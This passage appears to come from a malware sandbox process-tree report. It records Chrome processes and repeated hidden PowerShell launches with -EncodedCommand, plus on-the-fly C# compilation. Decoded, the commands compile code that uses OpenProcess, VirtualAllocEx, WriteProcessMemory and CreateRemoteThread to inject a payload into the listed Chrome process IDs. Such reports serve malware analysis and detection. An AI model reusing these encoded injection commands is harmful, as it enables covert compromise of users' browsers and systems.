AEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                  PID:1808
                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:2428
                                                                                                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                    C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADIANAAyADgAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADQARABGAEMALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                      PID:5776
                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vlj224lv\vlj224lv.cmdline"
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                          PID:5824
                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6845.tmp" "c:\Users\Admin\AppData\Local\Temp\vlj224lv\CSC6EA5B4F498D477D88694FBDD8F1BDE.TMP"
                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                              PID:5420
                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:3676
                                                                                                                                                                                                                                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                            C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADMANgA3ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADUAOABEAEEALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                              PID:116
                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                PID:4792
                                                                                                                                                                                                                                                                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADQANwA5ADIAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADYANAAzADYALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAd